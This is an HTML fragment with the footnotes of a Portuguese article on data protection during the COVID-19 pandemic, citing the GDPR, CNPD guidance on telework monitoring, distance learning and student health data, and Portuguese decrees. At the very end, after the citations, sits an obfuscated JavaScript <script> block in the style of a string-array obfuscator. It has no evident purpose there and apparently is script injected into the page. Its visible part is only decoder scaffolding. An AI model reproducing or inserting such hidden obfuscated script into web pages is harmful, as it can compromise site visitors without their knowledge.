href=\"https:\/\/eur-lex.europa.eu\/legal-content\/PT\/TXT\/HTML\/?uri=CELEX:32016R0679#d1e2012-1-1\">https:\/\/eur-lex.europa.eu\/legal-content\/PT\/TXT\/HTML\/?uri=CELEX:32016R0679#d1e2012-1-1<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref9\" name=\"_ftn9\">[9]<\/a>Requerimento n.\u00ba 19\/XIV. Dispon\u00edvel em <a href=\"http:\/\/app.parlamento.pt\/webutils\/docs\/doc.pdf?path=6148523063446f764c324679595842774f6a63334e7a637664326c75636d56785833426c636d6431626e52686379395953565976636e45784f533134615859744d5756704c6e426b5a673d3d&amp;fich=rq19-xiv-1ei.pdf&amp;Inline=true\">http:\/\/app.parlamento.pt\/webutils\/docs\/doc.pdf?path=6148523063446f764c324679595842774f6a63334e7a637664326c75636d56785833426c636d6431626e52686379395953565976636e45784f533134615859744d5756704c6e426b5a673d3d&amp;fich=rq19-xiv-1ei.pdf&amp;Inline=true<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref10\" name=\"_ftn10\">[10]<\/a>Resposta da CNPD ao requerimento 19\/XIV (1.\u00aa) EI. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/covid19\/rp19-xiv-1ei-a.pdf\">https:\/\/www.cnpd.pt\/home\/covid19\/rp19-xiv-1ei-a.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref11\" name=\"_ftn11\">[11]<\/a> Orienta\u00e7\u00f5es para pr\u00e1ticas de Medicina no Trabalho, em contexto de exce\u00e7\u00e3o, no combate \u00e0 pandemia COVID-19. Ordem dos M\u00e9dicos. Col\u00e9gio da Especialidade de Medicina do Trabalho. Dispon\u00edvel em <a href=\"https:\/\/ordemdosmedicos.pt\/wp-content\/uploads\/2020\/03\/Orienta%C3%A7%C3%A3o-MT-2020.03.25v2.pdf\">https:\/\/ordemdosmedicos.pt\/wp-content\/uploads\/2020\/03\/Orienta%C3%A7%C3%A3o-MT-2020.03.25v2.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref12\" name=\"_ftn12\">[12]<\/a>Lei n.\u00ba 7\/2009, de 12 de Fevereiro. Dispon\u00edvel em <a href=\"http:\/\/www.pgdlisboa.pt\/leis\/lei_mostra_articulado.php?nid=1047&amp;tabela=leis&amp;so_miolo=S\">http:\/\/www.pgdlisboa.pt\/leis\/lei_mostra_articulado.php?nid=1047&amp;tabela=leis&amp;so_miolo=S<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref13\" name=\"_ftn13\">[13]<\/a>Decreto-Lei n.\u00ba 10-A\/2020, de 13 de mar\u00e7o. Dispon\u00edvel em <a href=\"https:\/\/dre.pt\/application\/conteudo\/130243053\">https:\/\/dre.pt\/application\/conteudo\/130243053<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref14\" name=\"_ftn14\">[14]<\/a>Orienta\u00e7\u00f5es sobre o controlo \u00e0 dist\u00e2ncia em regime de teletrabalho. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_controlo_a_distancia_em_regime_de_teletrabalho.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_controlo_a_distancia_em_regime_de_teletrabalho.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref15\" name=\"_ftn15\">[15]<\/a>Orienta\u00e7\u00f5es sobre o controlo \u00e0 dist\u00e2ncia em regime de teletrabalho. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_controlo_a_distancia_em_regime_de_teletrabalho.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_controlo_a_distancia_em_regime_de_teletrabalho.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref16\" name=\"_ftn16\">[16]<\/a>Orienta\u00e7\u00f5es sobre o controlo \u00e0 dist\u00e2ncia em regime de teletrabalho. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_controlo_a_distancia_em_regime_de_teletrabalho.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_controlo_a_distancia_em_regime_de_teletrabalho.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref17\" name=\"_ftn17\">[17]<\/a>Orienta\u00e7\u00f5es sobre o controlo \u00e0 dist\u00e2ncia em regime de teletrabalho. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_controlo_a_distancia_em_regime_de_teletrabalho.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_controlo_a_distancia_em_regime_de_teletrabalho.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref18\" name=\"_ftn18\">[18]<\/a> Orienta\u00e7\u00f5es para utiliza\u00e7\u00e3o de tecnologias se suporte ao ensino \u00e0 dist\u00e2ncia. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref19\" name=\"_ftn19\">[19]<\/a> Orienta\u00e7\u00f5es para utiliza\u00e7\u00e3o de tecnologias de suporte ao ensino \u00e0 dist\u00e2ncia. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref20\" name=\"_ftn20\">[20]<\/a> Orienta\u00e7\u00f5es para utiliza\u00e7\u00e3o de tecnologias de suporte ao ensino \u00e0 dist\u00e2ncia. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"#_ftnref21\" name=\"_ftn21\">[21]<\/a> \u00abImporta aqui refor\u00e7ar que nenhum estabelecimento de ensino pode impor a utiliza\u00e7\u00e3o desta espec\u00edfica tecnologia de intelig\u00eancia artificial aos seus alunos, dependendo essa utiliza\u00e7\u00e3o de uma vontade informada, livre, espec\u00edfica e expl\u00edcita do aluno ou, quando menor, de quem o representa. Deve ser dada clara informa\u00e7\u00e3o aos titulares acerca do funcionamento dos algoritmos de an\u00e1lise, nomeadamente quando estiverem em causa decis\u00f5es automatizadas. E deve ser sempre garantido o direito do titular dos dados de obter interven\u00e7\u00e3o humana nesse processo\u00bb. Orienta\u00e7\u00f5es para utiliza\u00e7\u00e3o de tecnologias de suporte ao ensino \u00e0 dist\u00e2ncia. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref22\" name=\"_ftn22\">[22]<\/a> Orienta\u00e7\u00f5es para utiliza\u00e7\u00e3o de tecnologias de suporte ao ensino \u00e0 dist\u00e2ncia. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref23\" name=\"_ftn23\">[23]<\/a> Orienta\u00e7\u00f5es para utiliza\u00e7\u00e3o de tecnologias de suporte ao ensino \u00e0 dist\u00e2ncia. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_tecnologias_de_suporte_ao_ensino_a_distancia.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref24\" name=\"_ftn24\">[24]<\/a> Orienta\u00e7\u00f5es sobre recolha dos dados de sa\u00fade dos alunos. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_medicao_temperatura_estabelecimentos_ensino.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_medicao_temperatura_estabelecimentos_ensino.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref25\" name=\"_ftn25\">[25]<\/a> Decreto-Lei n.\u00ba 20-H\/2020, de 14 de maio. Dispon\u00edvel em <a href=\"https:\/\/dre.pt\/application\/conteudo\/133723695\">https:\/\/dre.pt\/application\/conteudo\/133723695<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref26\" name=\"_ftn26\">[26]<\/a> Orienta\u00e7\u00e3o 024\/2020. Dispon\u00edvel em <a href=\"https:\/\/www.dgs.pt\/directrizes-da-dgs\/orientacoes-e-circulares-informativas\/orientacao-n-0242020-de-08052020-pdf.aspx\">https:\/\/www.dgs.pt\/directrizes-da-dgs\/orientacoes-e-circulares-informativas\/orientacao-n-0242020-de-08052020-pdf.aspx<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref27\" name=\"_ftn27\">[27]<\/a> Orienta\u00e7\u00f5es sobre recolha dos dados de sa\u00fade dos alunos. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_medicao_temperatura_estabelecimentos_ensino.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_medicao_temperatura_estabelecimentos_ensino.pdf<\/a><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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